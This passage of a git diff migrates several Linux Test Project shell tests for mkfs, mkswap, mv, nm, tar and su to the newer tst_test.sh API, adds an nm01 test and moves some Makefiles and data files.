-	TST_CLEANUP="cleanup"
-
 	ROD_SILENT mkdir -p mntpoint
 }
 
-cleanup()
-{
-	tst_release_device
-
-	tst_rmdir
-}
-
 mkfs_mount()
 {
 	mount ${TST_DEVICE} mntpoint
 	local ret=$?
 	if [ $ret -eq 32 ]; then
-		tst_brkm TCONF "Cannot mount ${FS_TYPE}, missing driver?"
+		tst_brk TCONF "Cannot mount ${FS_TYPE}, missing driver?"
 	fi
 
 	if [ $ret -ne 0 ]; then
-		tst_brkm TBROK "Failed to mount device: mount exit = $ret"
+		tst_brk TBROK "Failed to mount device: mount exit = $ret"
 	fi
 }
 
-usage()
-{
-	cat << EOF
-	usage: $0 [-f <ext2|ext3|ext4|vfat|...>]
-
-	OPTIONS
-		-f	Specify the type of filesystem to be built. If not
-			specified, the default filesystem type (currently ext2)
-			is used.
-		-h	Display help text and exit.
-
-EOF
-	tst_brkm TWARN "Display help text or unknown options"
-}
-
 mkfs_verify_type()
 {
 	if [ -z "$1" ]; then
@@ -133,13 +127,13 @@
 
 	echo ${fs_op} | grep -q "\-c"
 	if [ $? -eq 0 ] && [ "$fs_type" = "ntfs" ]; then
-		tst_resm TCONF "'${mkfs_cmd}' not supported."
+		tst_res TCONF "'${mkfs_cmd}' not supported."
 		return
 	fi
 
 	if [ -n "$size" ]; then
 		if [ "$fs_type" = "xfs" ] || [ "$fs_type" = "btrfs" ]; then
-			tst_resm TCONF "'${mkfs_cmd}' not supported."
+			tst_res TCONF "'${mkfs_cmd}' not supported."
 			return
 		fi
 	fi
@@ -148,10 +142,10 @@
 	if [ $? -ne 0 ]; then
 		grep -q -E "unknown option | invalid option" temp
 		if [ $? -eq 0 ]; then
-			tst_resm TCONF "'${mkfs_cmd}' not supported."
+			tst_res TCONF "'${mkfs_cmd}' not supported."
 			return
 		else
-			tst_resm TFAIL "'${mkfs_cmd}' failed."
+			tst_res TFAIL "'${mkfs_cmd}' failed."
 			cat temp
 			return
 		fi
@@ -160,7 +154,7 @@
 	if [ -n "$device" ]; then
 		mkfs_verify_type "$fs_type" "$device"
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "'${mkfs_cmd}' failed, not expected."
+			tst_res TFAIL "'${mkfs_cmd}' failed, not expected."
 			return
 		fi
 	fi
@@ -168,12 +162,12 @@
 	if [ -n "$size" ]; then
 		mkfs_verify_size "$fs_type" "$size"
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "'${mkfs_cmd}' failed, not expected."
+			tst_res TFAIL "'${mkfs_cmd}' failed, not expected."
 			return
 		fi
 	fi
 
-	tst_resm TPASS "'${mkfs_cmd}' passed."
+	tst_res TPASS "'${mkfs_cmd}' passed."
 }
 
 test1()
@@ -201,23 +195,4 @@
 	mkfs_test "-h"
 }
 
-FS_TYPE=""
-
-while getopts f:h OPTION; do
-	case $OPTION in
-	f)
-		FS_TYPE=$OPTARG;;
-	h)
-		usage;;
-	?)
-		usage;;
-	esac
-done
-
-setup
-for i in $(seq 1 ${TST_TOTAL})
-do
-	test$i
-done
-
-tst_exit
+tst_run
diff --git a/testcases/commands/mkswap/mkswap01.sh b/testcases/commands/mkswap/mkswap01.sh
index 9727b0f..f6d19ec 100755
--- a/testcases/commands/mkswap/mkswap01.sh
+++ b/testcases/commands/mkswap/mkswap01.sh
@@ -16,34 +16,26 @@
 # Test mkswap command with some basic options.
 #
 
-TCID=mkswap01
-TST_TOTAL=10
-. test.sh
+TST_ID="mkswap01"
+TST_CNT=10
+TST_SETUP=setup
+TST_TESTFUNC=do_test
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_DEVICE=1
+TST_NEEDS_CMDS="uuidgen blkid blockdev mkswap"
+. tst_test.sh
 
 setup()
 {
-	tst_require_root
-
-	tst_check_cmds uuidgen blkid blockdev mkswap
-
-	tst_tmpdir
-
-	TST_CLEANUP=cleanup
-
-	tst_acquire_device
-
 	UUID=`uuidgen`
 
-	DEVICE_SIZE=$((`blockdev --getsize64 $TST_DEVICE`/1024))
-
 	PAGE_SIZE=`getconf PAGE_SIZE`
-}
 
-cleanup()
-{
-	tst_release_device
-
-	tst_rmdir
+	# Here get the size of the device and align it down to be the
+	# multiple of $PAGE_SIZE and use that as the size for testing.
+	real_size=`blockdev --getsize64 $TST_DEVICE`
+	DEVICE_SIZE=$((($real_size/$PAGE_SIZE * $PAGE_SIZE)/1024))
 }
 
 wait_for_file()
@@ -59,12 +51,12 @@
 		if [ -e "$path" ]; then
 			return
 		fi
-		tst_resm TINFO "Waiting for $path to appear"
+		tst_res TINFO "Waiting for $path to appear"
 		retries=$((retries - 1))
 		tst_sleep 10ms
 	done
 
-	tst_resm TINFO "The file $path haven't appeared"
+	tst_res TINFO "The file $path haven't appeared"
 }
 
 mkswap_verify()
@@ -89,22 +81,22 @@
 	swapon $swapfile 2>/dev/null
 
 	if [ $? -ne 0 ]; then
-		tst_resm TINFO "Can not do swapon on $swapfile."
+		tst_res TINFO "Can not do swapon on $swapfile."
 		if [ $pagesize -ne $PAGE_SIZE ]; then
-			tst_resm TINFO "Page size specified by 'mkswap -p' \
+			tst_res TINFO "Page size specified by 'mkswap -p' \
 is not equal to system's page size."
-			tst_resm TINFO "Swapon failed expectedly."
+			tst_res TINFO "Swapon failed expectedly."
 			return 0
 		fi
 
 		if [ $swapsize -gt $DEVICE_SIZE ]; then
-			tst_resm TINFO "Device size specified by 'mkswap' \
+			tst_res TINFO "Device size specified by 'mkswap' \
 greater than real size."
-			tst_resm TINFO "Swapon failed expectedly."
+			tst_res TINFO "Swapon failed expectedly."
 			return 0
 		fi
 
-		tst_resm TINFO "Swapon failed unexpectedly."
+		tst_res TINFO "Swapon failed unexpectedly."
 		return 1
 	fi
 
@@ -126,7 +118,7 @@
 
 	swapoff $swapfile 2>/dev/null
 	if [ $? -ne 0 ]; then
-		tst_resm TWARN "Can not do swapoff on $swapfile."
+		tst_res TWARN "Can not do swapoff on $swapfile."
 	fi
 
 	return $ret
@@ -146,11 +138,11 @@
 	if [ $? -ne 0 ]; then
 		grep -q -E "unknown option|invalid option|Usage" temp
 		if [ $? -eq 0 ]; then
-			tst_resm TCONF "'${mkswap_cmd}' not supported."
+			tst_res TCONF "'${mkswap_cmd}' not supported."
 			return
 		fi
 
-		tst_resm TFAIL "'${mkswap_cmd}' failed."
+		tst_res TFAIL "'${mkswap_cmd}' failed."
 		cat temp
 		return
 	fi
@@ -158,25 +150,28 @@
 	if [ -n "$device" ]; then
 		mkswap_verify "$mkswap_op" "$op_arg" "$device" "$size" "$dev_file"
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "'${mkswap_cmd}' failed, not expected."
+			tst_res TFAIL "'${mkswap_cmd}' failed, not expected."
 			return
 		fi
 	fi
 
-	tst_resm TPASS "'${mkswap_cmd}' passed."
+	tst_res TPASS "'${mkswap_cmd}' passed."
 }
 
-setup
+do_test()
+{
+	case $1 in
+	1) mkswap_test "" "" "$TST_DEVICE";;
+	2) mkswap_test "" "" "$TST_DEVICE" "$((DEVICE_SIZE-PAGE_SIZE/1024))";;
+	3) mkswap_test "-f" "" "$TST_DEVICE" "$((DEVICE_SIZE+PAGE_SIZE/1024))";;
+	4) mkswap_test "-c" "" "$TST_DEVICE";;
+	5) mkswap_test "-p" "2048" "$TST_DEVICE";;
+	6) mkswap_test "-L" "ltp_testswap" "-L ltp_testswap" "" "/dev/disk/by-label/ltp_testswap";;
+	7) mkswap_test "-v1" "" "$TST_DEVICE";;
+	8) mkswap_test "-U" "$UUID" "-U $UUID" "" "/dev/disk/by-uuid/$UUID";;
+	9) mkswap_test "-V";;
+	10) mkswap_test "-h";;
+	esac
+}
 
-mkswap_test "" "" "$TST_DEVICE"
-mkswap_test "" "" "$TST_DEVICE" "$((DEVICE_SIZE-10000))"
-mkswap_test "-f" "" "$TST_DEVICE" "$((DEVICE_SIZE+10000))"
-mkswap_test "-c" "" "$TST_DEVICE"
-mkswap_test "-p" "2048" "$TST_DEVICE"
-mkswap_test "-L" "ltp_testswap" "-L ltp_testswap" "" "/dev/disk/by-label/ltp_testswap"
-mkswap_test "-v1" "" "$TST_DEVICE"
-mkswap_test "-U" "$UUID" "-U $UUID" "" "/dev/disk/by-uuid/$UUID"
-mkswap_test "-V"
-mkswap_test "-h"
-
-tst_exit
+tst_run
diff --git a/testcases/commands/fileutils/mv/Makefile b/testcases/commands/mv/Makefile
similarity index 94%
rename from testcases/commands/fileutils/mv/Makefile
rename to testcases/commands/mv/Makefile
index a01a308..ca594a5 100644
--- a/testcases/commands/fileutils/mv/Makefile
+++ b/testcases/commands/mv/Makefile
@@ -17,10 +17,10 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
-top_srcdir		?= ../../../..
+top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
diff --git a/testcases/commands/fileutils/mv/mv_tests.sh b/testcases/commands/mv/mv_tests.sh
similarity index 73%
rename from testcases/commands/fileutils/mv/mv_tests.sh
rename to testcases/commands/mv/mv_tests.sh
index 66f4056..85d7991 100755
--- a/testcases/commands/fileutils/mv/mv_tests.sh
+++ b/testcases/commands/mv/mv_tests.sh
@@ -27,26 +27,18 @@
 #		  move file1 to file2 and backup the file2.
 #
 
-TCID=mv01
-TST_TOTAL=2
-. test.sh
+TST_ID=mv01
+TST_CNT=2
+TST_SETUP=setup
+TST_TESTFUNC=test
+TST_NEEDS_TMPDIR=1
+. tst_test.sh
 
 setup()
 {
-	tst_check_cmds mv
-
-	tst_tmpdir
-
-	tst_resm TINFO "INIT: Inititalizing tests."
-
 	ROD_SILENT mkdir -p tst_mv.old
 }
 
-cleanup()
-{
-	tst_rmdir
-}
-
 creat_dirnfiles()
 {
 	local numdirs=$2
@@ -55,8 +47,8 @@
 	local dircnt=0
 	local fcnt=0
 
-	tst_resm TINFO "Test #$1: Creating $numdirs directories."
-	tst_resm TINFO "Test #$1: filling each dir with $numfiles files."
+	tst_res TINFO "Test #$1: Creating $numdirs directories."
+	tst_res TINFO "Test #$1: filling each dir with $numfiles files."
 	while [ $dircnt -lt $numdirs ]
 	do
 		dirname=$dirname/d.$dircnt
@@ -101,14 +93,14 @@
 	done
 }
 
-test01()
+test1()
 {
 	numdirs=10
 	numfiles=10
 	dircnt=0
 	fcnt=0
 
-	tst_resm TINFO "Test #1: mv <dir1> <dir2> will move dir1 to dir2 and" \
+	tst_res TINFO "Test #1: mv <dir1> <dir2> will move dir1 to dir2 and" \
 		       "all its contents"
 
 	creat_dirnfiles 1 $numdirs $numfiles tst_mv.old
@@ -116,70 +108,64 @@
 	mv tst_mv.old tst_mv.new > tst_mv.err 2>&1
 	if [ $? -ne 0 ]; then
 		cat tst_mv.err
-		tst_brkm TFAIL "Test #1: 'mv tst_mv.old tst_mv.new' failed"
+		tst_brk TFAIL "Test #1: 'mv tst_mv.old tst_mv.new' failed"
 	fi
 
-	tst_resm TINFO "Test #1: creating output file"
+	tst_res TINFO "Test #1: creating output file"
 	ls -R tst_mv.new > tst_mv.out 2>&1
 
-	tst_resm TINFO "Test #1: creating expected output file"
+	tst_res TINFO "Test #1: creating expected output file"
 	creat_expout $numdirs $numfiles tst_mv.new
 
-	tst_resm TINFO "Test #1: comparing expected out and actual output file"
+	tst_res TINFO "Test #1: comparing expected out and actual output file"
 	diff -w -B -q tst_mv.out tst_mv.exp > tst_mv.err 2>&1
 	if [ $? -ne 0 ]; then
 		cat tst_mv.err
-		tst_resm TFAIL "Test #1: mv failed."
+		tst_res TFAIL "Test #1: mv failed."
 	else
-		tst_resm TINFO "Test #1: expected same as actual"
+		tst_res TINFO "Test #1: expected same as actual"
 		if [ -f tst_mv.old ]; then
-			tst_resm TFAIL "Test #1: mv did not delete old" \
+			tst_res TFAIL "Test #1: mv did not delete old" \
 				       "directory"
 		else
-			tst_resm TPASS "Test #1: mv success"
+			tst_res TPASS "Test #1: mv success"
 		fi
 	fi
 }
 
-test02()
+test2()
 {
-	tst_resm TINFO "Test #2: mv -b <file1> <file2> will move dir1 to dir2"
+	tst_res TINFO "Test #2: mv -b <file1> <file2> will move dir1 to dir2"
 
 	ROD_SILENT touch tmpfile1 tmpfile2
 
 	MD5_old=$(md5sum tmpfile2 | awk '{print $1}')
 	if [ $? -ne 0 ]; then
-		tst_brkm TBROK "Test #2: can't get the MD5 message of file2."
+		tst_brk TBROK "Test #2: can't get the MD5 message of file2."
 	fi
 
 	if [ -f "tmpfile2~" ]; then
-		tst_brkm TBROK "Test #2: file tmpfile2~ should not exists."
+		tst_brk TBROK "Test #2: file tmpfile2~ should not exists."
 	fi
 
 	mv -b tmpfile1 tmpfile2
 	if [ $? -ne 0 ]; then
-		tst_brkm TBROK "Test #2: 'mv -b tmpfile1 tmpfile2' failed."
+		tst_brk TBROK "Test #2: 'mv -b tmpfile1 tmpfile2' failed."
 	fi
 
 	# if 'mv -b file1 file2' succeed, there will be "tmpfile2~" file.
 
 	MD5_backup=$(md5sum tmpfile2 | awk '{print $1}')
 	if [ $? -ne 0 ]; then
-		tst_brkm TBROK "Test #2: can not get the MD5 message of" \
+		tst_brk TBROK "Test #2: can not get the MD5 message of" \
 			       "backup file2."
 	fi
 
-	if [ "$MD5_old" == "$MD5_backup" -a -f "tmpfile2~" ]; then
-		tst_resm TPASS "Test #2: mv -b success"
+	if [ "$MD5_old" = "$MD5_backup" -a -f "tmpfile2~" ]; then
+		tst_res TPASS "Test #2: mv -b success"
 	else
-		tst_resm TFAIL "Test #2: mv -b failed"
+		tst_res TFAIL "Test #2: mv -b failed"
 	fi
 }
 
-setup
-TST_CLEANUP=cleanup
-
-test01
-test02
-
-tst_exit
+tst_run
diff --git a/testcases/commands/fileutils/Makefile b/testcases/commands/nm/Makefile
similarity index 90%
copy from testcases/commands/fileutils/Makefile
copy to testcases/commands/nm/Makefile
index 65616f7..37a9d78 100644
--- a/testcases/commands/fileutils/Makefile
+++ b/testcases/commands/nm/Makefile
@@ -1,5 +1,5 @@
 #
-#    commands/fileutils test suite Makefile.
+#    commands/ade/nm testcases Makefile.
 #
 #    Copyright (C) 2009, Cisco Systems Inc.
 #
@@ -17,11 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
+INSTALL_TARGETS		:= nm01
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/commands/nm/datafiles/.gitignore b/testcases/commands/nm/datafiles/.gitignore
new file mode 100644
index 0000000..efff51a
--- /dev/null
+++ b/testcases/commands/nm/datafiles/.gitignore
@@ -0,0 +1,3 @@
+/f1
+/f2
+/f3
diff --git a/testcases/commands/ade/ldd/Makefile b/testcases/commands/nm/datafiles/Makefile
similarity index 70%
copy from testcases/commands/ade/ldd/Makefile
copy to testcases/commands/nm/datafiles/Makefile
index f37f21b..3514665 100644
--- a/testcases/commands/ade/ldd/Makefile
+++ b/testcases/commands/nm/datafiles/Makefile
@@ -1,7 +1,5 @@
 #
-#    commands/ade/ldd testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
+#    Copyright (C) 2016, Linux Test Project.
 #
 #    This program is free software; you can redistribute it and/or modify
 #    it under the terms of the GNU General Public License as published by
@@ -12,14 +10,15 @@
 #    but WITHOUT ANY WARRANTY; without even the implied warranty of
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
-#
-# Garrett Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
+INSTALL_DIR		:= testcases/data/nm01
+INSTALL_TARTGETS	:= f1 f2 f3 lib.a
+MAKE_TARGETS		+= f1 f2 f3 lib.a
 
-INSTALL_TARGETS		:= ldd01
+lib.a: f1.o f2.o f3.o
+	$(AR) rcs $@ $?
 
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/nm/nmfile1.c b/testcases/commands/nm/datafiles/f1.c
similarity index 100%
rename from testcases/commands/ade/nm/nmfile1.c
rename to testcases/commands/nm/datafiles/f1.c
diff --git a/testcases/commands/ade/nm/nmfile2.c b/testcases/commands/nm/datafiles/f2.c
similarity index 100%
rename from testcases/commands/ade/nm/nmfile2.c
rename to testcases/commands/nm/datafiles/f2.c
diff --git a/testcases/commands/ade/nm/nmfile3.c b/testcases/commands/nm/datafiles/f3.c
similarity index 100%
rename from testcases/commands/ade/nm/nmfile3.c
rename to testcases/commands/nm/datafiles/f3.c
diff --git a/testcases/commands/nm/nm01 b/testcases/commands/nm/nm01
new file mode 100755
index 0000000..5255049
--- /dev/null
+++ b/testcases/commands/nm/nm01
@@ -0,0 +1,138 @@
+#!/bin/sh
+#
+# Copyright (c) International Business Machines  Corp., 2000
+#  06/01 Robbie Williamson (robbiew@us.ibm.com)
+# Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+#
+# This program is free software;  you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY;  without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program;  if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+#
+#---------------------------------------------------------------------------
+#
+# Tests the basic functionality of the `nm` command.
+#
+NM=${NM:=nm}
+
+TST_ID="nm01"
+TST_CNT=7
+TST_TESTFUNC=test
+TST_SETUP=setup
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="$NM"
+. tst_test.sh
+
+setup()
+{
+	ROD cp "$TST_DATAROOT/lib.a" "."
+	ROD mkdir "dir"
+	ROD cp "$TST_DATAROOT/lib.a" "dir/"
+}
+
+test1()
+{
+	EXPECT_PASS $NM -f posix -A "lib.a" \> nm.out
+
+	if grep -q "lib.a\[f2.o\]\:" nm.out; then
+		tst_res TPASS "Got correct listing"
+	else
+		tst_res TFAIL "Got incorrect listing"
+		cat nm.out
+	fi
+
+	EXPECT_PASS $NM -f posix -A "dir/lib.a" \> nm.out
+
+	if grep -q "dir/lib.a\[f2.o\]\:" nm.out; then
+		tst_res TPASS "Got correct listing"
+	else
+		tst_res TFAIL "Got incorrect listing"
+		cat nm.out
+	fi
+}
+
+test2()
+{
+	EXPECT_PASS $NM -f posix -g $TST_DATAROOT/f1 \> nm.out
+
+	if grep -q "\w [a,b,d,f,t]" nm.out; then
+		tst_res TFAIL "Got internal symbols with -g"
+		cat nm.out
+	else
+		tst_res TPASS "Got only external symbols with -g"
+	fi
+}
+
+test3()
+{
+	EXPECT_PASS $NM -f posix -t o $TST_DATAROOT/f1 \> nm.out
+
+	if awk '{print $3}' nm.out | grep -q "[8-9a-f]"; then
+		tst_res TFAIL "Got non-octal symbol values with -f"
+		cat nm.out
+	else
+		tst_res TPASS "Got an octal symbol values with -f"
+	fi
+}
+
+test4()
+{
+	EXPECT_PASS $NM -f sysv $TST_DATAROOT/f1 \> nm.out
+
+	if grep -q "Name" nm.out; then
+		tst_res TPASS "Got SysV format with -f sysv"
+	else
+		tst_res TFAIL "Got wrong format with -f sysv"
+		cat nm.out
+	fi
+}
+
+test5()
+{
+	EXPECT_PASS $NM -f bsd $TST_DATAROOT/f1 \> nm_bsd.out
+	EXPECT_PASS $NM -f posix $TST_DATAROOT/f1 \> nm_posix.out
+
+	ROD awk '{print $3 $2 $1}' nm_bsd.out \> nm1.out
+	ROD awk '{print $1 $2 $3}' nm_posix.out \> nm2.out
+
+	if diff nm1.out nm2.out > /dev/null; then
+		tst_res TPASS "Got BSD format with -f bsd"
+	else
+		tst_res TFAIL "Got wrong format with -f bsd"
+		cat nm_bsd.out
+	fi
+}
+
+test6()
+{
+	EXPECT_PASS $NM -f sysv -u $TST_DATAROOT/f1 \> nm.out
+
+	if grep -q "Undefined symbols from" nm.out; then
+		tst_res TPASS "Got undefined symbols with -u"
+	else
+		tst_res TFAIL "Haven't got undefined symbols with -u"
+		cat nm.out
+	fi
+}
+
+test7()
+{
+	EXPECT_PASS $NM -s $TST_DATAROOT/lib.a \> nm.out
+
+	if grep -q "index" nm.out; then
+		tst_res TPASS "Got index with -s"
+	else
+		tst_res TFAIL "Haven't got index with -s"
+	fi
+}
+
+tst_run
diff --git a/testcases/commands/sssd/sssd-lib.sh b/testcases/commands/sssd/sssd-lib.sh
index ab16fd4..be72e1f 100755
--- a/testcases/commands/sssd/sssd-lib.sh
+++ b/testcases/commands/sssd/sssd-lib.sh
@@ -1,4 +1,4 @@
-#! /bin/sh
+#!/bin/sh
 #
 #  Copyright (c) 2012 FUJITSU LIMITED
 #
@@ -161,10 +161,10 @@
 #id_provider = local
 make_config_file()
 {
-	echo -e "[sssd]\nconfig_file_version = 2" > $CONFIG_FILE
-	echo -e "services = nss, pam\ndomains = LOCAL" >> $CONFIG_FILE
-	echo -e "\n[nss]\n\n[pam]\n" >> $CONFIG_FILE
-	echo -e "[domain/LOCAL]\nid_provider = local" >> $CONFIG_FILE
+	printf "[sssd]\nconfig_file_version = 2\n" > $CONFIG_FILE
+	printf "services = nss, pam\ndomains = LOCAL\n" >> $CONFIG_FILE
+	printf "\n[nss]\n\n[pam]\n\n" >> $CONFIG_FILE
+	printf "[domain/LOCAL]\nid_provider = local\n" >> $CONFIG_FILE
 }
 
 . cmdlib.sh
diff --git a/testcases/commands/su/Makefile b/testcases/commands/su/Makefile
index dd220e6..da2ff03 100644
--- a/testcases/commands/su/Makefile
+++ b/testcases/commands/su/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/su/su01 b/testcases/commands/su/su01
index dd1517f..34386d9 100755
--- a/testcases/commands/su/su01
+++ b/testcases/commands/su/su01
@@ -86,7 +86,7 @@
 #Create 1st test user
     #erase user if he may exist , so we can have a clean en
         rm -rf /home/$TEST_USER1
-        userdel $TEST_USER1
+        getent passwd $TEST_USER1 > /dev/null 2>&1 && userdel $TEST_USER1
 	sleep 1
 
         useradd -m -g users $TEST_USER1
@@ -105,7 +105,7 @@
 	then {
           USER_UID=`id -u $TEST_USER1`
           USER_GID=`id -g $TEST_USER1`
-          mkdir $TEST_USER1_HOMEDIR
+          mkdir -p $TEST_USER1_HOMEDIR
           chown -R $USER_UID.$USER_GID $TEST_USER1_HOMEDIR
 	}
 	fi
@@ -121,7 +121,7 @@
 #Create 2nd test user
 	#erase user if he may exist , so we can have a clean en
         rm -rf /home/$TEST_USER2
-        userdel $TEST_USER2
+        getent passwd $TEST_USER2 > /dev/null 2>&1 && userdel $TEST_USER2
 	sleep 1
 
         useradd -m -g users $TEST_USER2
@@ -141,7 +141,7 @@
         then {
           USER_UID=`id -u $TEST_USER2`
           USER_GID=`id -g $TEST_USER2`
-          mkdir $TEST_USER2_HOMEDIR
+          mkdir -p $TEST_USER2_HOMEDIR
           chown -R $USER_UID.$USER_GID $TEST_USER2_HOMEDIR
 	}
 	fi
diff --git a/testcases/commands/tar/00_Descriptions.txt b/testcases/commands/tar/00_Descriptions.txt
deleted file mode 100644
index c3465be..0000000
--- a/testcases/commands/tar/00_Descriptions.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-tar01
-	tar command with cvf options creates an archive file
-
-tar02
-	tar command with tvf option will list all the files in the archive.
-
-tar03
-	tar command with zcvf options creates an compressed archive files
-
-tar04
-	tar command with xvf options extracts files from an archive file
-
-tar05
-	tar command with zxvf options extracts a compressed archive file
diff --git a/testcases/commands/tar/Makefile b/testcases/commands/tar/Makefile
index ac1fa4c..7406b1f 100644
--- a/testcases/commands/tar/Makefile
+++ b/testcases/commands/tar/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/tar/tar_tests.sh b/testcases/commands/tar/tar_tests.sh
index a8c2fa2..b67bcf1 100755
--- a/testcases/commands/tar/tar_tests.sh
+++ b/testcases/commands/tar/tar_tests.sh
@@ -2,6 +2,8 @@
 ################################################################################
 ##                                                                            ##
 ## Copyright (c) International Business Machines  Corp., 2001                 ##
+##  Author: Manoj Iyer, manjo@mail.utexas.edu                                 ##
+## Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>                          ##
 ##                                                                            ##
 ## This program is free software;  you can redistribute it and#or modify      ##
 ## it under the terms of the GNU General Public License as published by       ##
@@ -14,273 +16,138 @@
 ## for more details.                                                          ##
 ##                                                                            ##
 ## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software	              ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
 ##                                                                            ##
 ################################################################################
 #
-# File:        tar_test.sh
-#
-# Description: Tests tar command. These tests test the basic functioanlity of
-#              tape archive command.
-#
-# Author:      Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:     Dec 17 2002 - Created - Manoj Iyer.
-#              Dec 18 2002 - Added code to read the LTPROOT and TMPBASE
-#              variables to set LTPBIN and LTPTMP variables
+# Creates, lists and extracts an plain, gzip and bzip tar archive.
 #
 
-export TST_TOTAL=1
+TST_ID="tar01"
+TST_CNT=6
+TST_TESTFUNC=do_test
+TST_NEEDS_TMPDIR=1
+. tst_test.sh
 
-if [ -z "$LTPTMP" -a -z "$TMPBASE" ]; then
-    LTPTMP=/tmp
-else
-    LTPTMP=$TMPBASE
-fi
+TAR_FILES="file1 file2 file3"
 
-if [ -z "$LTPBIN" -a -z "$LTPROOT" ]; then
-    LTPBIN=./bin
-else
-    LTPBIN=$LTPROOT/testcases/bin
-fi
+check_listing()
+{
+	local i
+	local verbose=$1
+	shift
 
-# set return code RC variable to 0, it will be set with a non-zero return code
-# in case of error. Set TFAILCNT to 0, increment if there occures a failure.
-#
-
-TFAILCNT=0
-RC=0
-RC1=0
-RC2=0
-RC3=0
-
-# Test #1
-# Test if tar command can create a tar file 'tar cvf <tar filename> <list of
-# files>'
-
-export TCID=tar01
-export TST_COUNT=1
-
-$LTPBIN/tst_resm TINFO \
-    "TEST #1: tar command with cvf options creates an archive file"
-
-touch $LTPTMP/tar_tstf1 $LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3
-
-tar cvf $LTPTMP/tar_tstf.tar $LTPTMP/tar_tstf1 \
-    $LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3 > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-
-if [ $RC -eq 0 ]; then
-    if [ -f $LTPTMP/tar_tstf.tar ]; then
-	$LTPBIN/tst_resm TPASS "tar: cvf option created a tar file."
-    else
-	$LTPBIN/tst_res TFAIL $LTPTMP/tar_tst.out \
-	    "tar: cvf option failed to create archive.  Reason"
-	TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL \
-	"tar: command failed. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# Test #2
-# Test if tar command with tvf option will list all the files in the archive.
-
-export TCID=tar02
-export TST_COUNT=2
-
-$LTPBIN/tst_resm TINFO \
-    "TEST #2: tar command with tvf options lists all files in an archive file"
-
-if [ -f $LTPTMP/tar_tstf.tar ]; then
-    echo "$LTPTMP/tar_tstf.tar exists" > /dev/null 2>&1
-else
-    touch $LTPTMP/tar_tstf1 $LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3
-    tar cvf $LTPTMP/tar_tstf.tar $LTPTMP/tar_tstf1 \
-	$LTPTMP/tar_tstf2 $LTPTMP/tar_tstf3 > $LTPTMP/tar_tst.out 2>&1 || RC=$?
-
-    if [ $RC -eq 0 ]; then
-	if [ -f $LTPTMP/tar_tstf.tar ]; then
-	    echo "tar file created" > /dev/null 2>&1
-	else
-	    $LTPBIN/tst_brk TBROK $LTPTMP/tar_tst.out NULL \
-		"tar: cvf option failed to create archive.  Reason"
-	    TFAILCNT=$(( $TFAILCNT+1 ))
-	fi
-    else
-	$LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL \
-	    "tar: command failed. Reason:"
-	TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-fi
-
-tar -tvf $LTPTMP/tar_tstf.tar > /$LTPTMP/tar_tst.out 2>&1 || RC=$?
-
-if [ $RC -eq 0 ]; then
-    grep  "tar_tstf1" $LTPTMP/tar_tst.out > $LTPTMP/tar_tst2.out 2>&1 || RC1=$?
-    grep  "tar_tstf2" $LTPTMP/tar_tst.out 2>&1 1>>$LTPTMP/tar_tst2.out || RC2=$?
-    grep  "tar_tstf3" $LTPTMP/tar_tst.out 2>&1 1>>$LTPTMP/tar_tst2.out || RC3=$?
-
